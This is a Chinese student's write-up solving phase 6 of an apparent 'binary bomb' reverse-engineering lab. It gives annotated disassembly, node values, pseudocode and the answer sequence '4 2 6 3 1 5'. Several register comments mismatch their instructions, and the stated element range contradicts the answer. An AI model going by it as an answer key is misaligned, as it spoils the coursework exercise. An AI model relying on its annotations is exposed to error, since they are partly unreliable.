     8048e4f:	8d 55 d0             	lea    -0x30(%ebp),%edx
     8048e52:	8b 04 ba             	mov    (%edx,%edi,4),%eax
     8048e55:	89 46 08             	mov    %eax,0x8(%esi)
     #eax=esi+0x8
     8048e58:	89 c6                	mov    %eax,%esi
     #esi=eax
     8048e5a:	47                   	inc    %edi
     8048e5b:	83 ff 05             	cmp    $0x5,%edi
     8048e5e:	7e f2                	jle    8048e52 <phase_6+0xba>
     #edi小于等于5继续循环
     8048e60:	c7 46 08 00 00 00 00 	movl   $0x0,0x8(%esi)
     8048e67:	8b 75 cc             	mov    -0x34(%ebp),%esi
     8048e6a:	31 ff                	xor    %edi,%edi
     #edi=0
     8048e6c:	8d 74 26 00          	lea    0x0(%esi,%eiz,1),%esi
     8048e70:	8b 56 08             	mov    0x8(%esi),%edx
     #eax=esi+0x8
     8048e73:	8b 06                	mov    (%esi),%eax
     #eax=esi
     8048e75:	3b 02                	cmp    (%edx),%eax
     8048e77:	7d 05                	jge    8048e7e <phase_6+0xe6>
     #eax>=edx跳转到8048e7e,否则爆炸
     8048e79:	e8 7e 06 00 00       	call   80494fc <explode_bomb>
     8048e7e:	8b 76 08             	mov    0x8(%esi),%esi
     8048e81:	47                   	inc    %edi
     #edi++
     8048e82:	83 ff 04             	cmp    $0x4,%edi
     8048e85:	7e e9                	jle    8048e70 <phase_6+0xd8>
     #edi小于等于4继续循环
     8048e87:	8d 65 a8             	lea    -0x58(%ebp),%esp
     8048e8a:	5b                   	pop    %ebx
     8048e8b:	5e                   	pop    %esi
     8048e8c:	5f                   	pop    %edi
     8048e8d:	89 ec                	mov    %ebp,%esp
     8048e8f:	5d                   	pop    %ebp
     8048e90:	c3                   	ret    
     8048e91:	8d 76 00             	lea    0x0(%esi),%esi
      
    

    开头有个804b26c,是<node1>

    node1:0xfd
    node2:0x2d5
    node3:0x12d
    node4:0x3e5
    node5:0xd4
    node6:0x1b0
    

    第一个循环是一个嵌套循环,每次循环先判断当前元素是否大于五再判断是否存在与当前元素相同的元素,所以数组内元素应大于等于0且小于5,且每个元素不同

    第二个循环应该是根据输入的数据对node进行排序,储存到一个新数组中

    0x8(%esi),%esi应该是指向下一个node\

    for(i=0; i<=5; i++)
    {
        if (a[i]>5)
            explode_bomb();
        for (j=i+1; j<=5; j++)
        {
            if (a[i]== a[j])
                explode_bomb();
        }
    }
    for(i=0;i<=5;i++)
    {
        for(j=1;j<a[i];j++)
        	node = node.next;
        s[i]=node;
    }
    

    第三个循环根据排序后的新数组重新排列node

    第四个循环判断排序后的node是否满足条件,显然是从大到小排列

    答案是4 2 6 3 1 5

    1

    搞完了,没有真香

>
❌
❌